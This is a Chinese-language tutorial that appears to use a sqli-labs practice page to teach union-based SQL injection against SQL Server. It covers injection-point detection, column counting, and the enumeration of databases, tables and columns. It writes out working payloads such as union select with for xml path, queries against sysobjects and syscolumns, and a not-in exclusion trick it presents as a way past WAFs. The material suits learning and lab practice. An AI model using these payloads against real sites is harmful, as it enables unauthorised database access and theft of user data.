前面已经学过MYSQL注入了,对于大多数数据库来说,SQL注入原理是相似的,不同的是每个数据库所遵循的SQL语句标准存在着细微差异,包括SQL语句,函数等,针对不同数据库可能在注入思路和方法上也有所不同,本篇将学习SQL Server数据库的注入的思路和方法。
SQL Server的系统库及视图:
mater :记录所有系统信息,例如所有数据库,登陆,配置设置等信息,master..sysdatabases表中存储着当前数据库的所有库名
model :模板数据库,创建数据库时可以使用模板数据库的信息
tempdb : 临时数据库(数据库重启后会清空)
msdb :保存于数据库备份、SQL Agent信息、DTS程序包、SQLSERVER任务等信息,以及诸如日志转移这样的复制信息
SQL Server的系统数据库的系统视图展示:
sysobjects表用于记录所有表名,syscolumns用于记录所有列名。
SQL Server常用查询函数:
1. 查询数据库版本
select @@version;
2. 查询服务名
select @@servername;
3. 查询主机名
select HOST_NAME();
4. 查询当前数据库名
select db_name();
5. 查询当前数据库的拥有者,一般每个数据库默认用户是dbo(databaseOwner),具有所有者权限
select user;
常见的SQL Server查询指令,top n:
select top 5 username from users;
top n指令用于查询前n条指令,例如top 5就是查询users表中前5条用户名记录。
union注入用到的函数for xml path和quotename,for xml path函数主要是用于把多行查询结果变为一行显示,quotename函数的作用是把每行查询结果用[ ]默认包裹起来。
for xml path函数会将查询的所有结果显示为一行,并且每个结果都用username标签包括起来,可以通过quotename函数使用其他符号包裹起来:
SQL Server注入流程和MYSQL注入流程类似,第一步也是使用and1=1和1=2判断网站的注入点是数字型还是字符型。
SQL Server无论是输入id=1 and 1=1还是id=1 and 1=2时页面都返回错误,这和MYSQL注入方式是不一样的。
直接输入?id=1',从SQL Server的报错信息来看,这是属于字符型注入,使用的是单引号闭合:
在地址栏中输入1' --+系统的单引号闭合掉,通过利用SQL Server的精确报错信息可以帮助我们判断注入类型。
接下来就是通过order by语句判断列数:例如?id=1' order by 2 --+ ,利用二分法尝试判断列数,当前查询列数小于或等于order by的参数时,页面能正常显示,当前查询列数大于order by的参数时,页面则会报错。
从SQL Server报错信息来看当前查询的表的列数是不大于4的,当我们在Less-1页面输入id=1' order by 3 --+时,页面正常显示,说明当前表的列数小于或等于3。
确定表的列数后,就可以通过union再确定当前网页的显示位,需要注意的一点确定页面的显示位时需要把id值更改为不存在的数:
使用db_name查询当前数据库名,@@version查询SQL Server数据库版本:
当前数据库为security,SQL Server版本为2008 R2 - 10.50.1600.1版本。
确定显示位,再查询表名,对于SQL Server来说,如果数据库版本是2000以上的话,所有列名存储在information_schema数据库下的数据库表tables里的table_name字段(table_name字段用于记录表名)
注意:SQL Server下的每个数据库下的系统视图库都有information_schema数据库表。
使用quotename语句和for xml path语句把当前数据库下的所有数据库表都给显示出来,构造的SQL语句:
union select 1,2,(select quotename(table_name) from information_schema.tables for xml path(''))--+
排除法是union联合注入中一种比较常用的注入手法,特别是遇到WAF防火墙的时候。注入过程中使用的函数:where 列名 not in()和max()。
where 列名 not in()是一个限定语句:
select * from users where id not in(1,2,3) and username not in('admin');
查询id不包括1,2,3并且username不包括admin的所有用户名和密码。
max()函数用于查询最大值:
select max(id) from users;
如果在注入过程中,db_name函数被过滤导致无法使用时,可以尝试从master数据库下的系统视图master..sysdatabase中获取数据库名:
SQL Server数据库下默认的数据库(除了yy和security两个数据库):
可以结合where 列名 not in()语句,用排除法查询所需要的的数据库名,可以先查询出:
union select 1,2,name from master..sysdatabases where name not in ('master','model','msdb','ReportServer','ReportServerTempDB') --+
使用排除法排除掉SQL Server默认的系统数据库,最终查询到想要的数据库信息:security。
查询表名:在不使用information_schema的情况下,在当前数据库security下——>视图——>系统视图——>sys.sysobjects里可以查询到所需表名,在sys.sysobjects表中的xtype列S表示是系统的表项,而U则表示是用户创建的表项。
id=0 union select 1,2,name from security..sysobjects where xtype='u'
在原来的SQL语句中加上not in并使用排除法,一个一个排除,最终拿到想要的表名:
id=0 union select 1,2,name from security..sysobjects where xtype='u' and name not in ('emails','referers','uagents') --+
查询列名:在当前数据库security下——>视图——>系统视图——>sys.syscolumns表里可以查询所需的列名,但是这张表里没有mysql数据库中类似table_name的字段可以关联到sysobjects表里的table_name字段,sys.syscolumns表中是通过id字段来关联到sys.sysobjects表中的id字段的(使用id代替table_name)。
sys.sysobjects表对于每一张表都会有一个id与之对应,users表与之对应的id就是626101271,如下所示:
在sys.syscolumns表中查询users表的所有列名时,就可以将where条件的id字段的值指定为users表的id,构造的sql语句如下:
select name from security..syscolumns where id=(select id from security..sysobjects where name=('users'));
查询users表的所有字段,最终构造成的SQL语句:
id=0 union select 1,2,name from security..syscolumns where id=(select id from security..sysobjects where name=('users') and xtype='u')
然后使用排除法把所有的列名查询出来:
id=0 union select 1,2,name from security..syscolumns where id=(select id from security..sysobjects where name=('users') and xtype='u') and name not in ('id')
id=0 union select 1,2,name from security..syscolumns where id=(select id from security..sysobjects where name=('users') and xtype='u') and name not in ('id','password')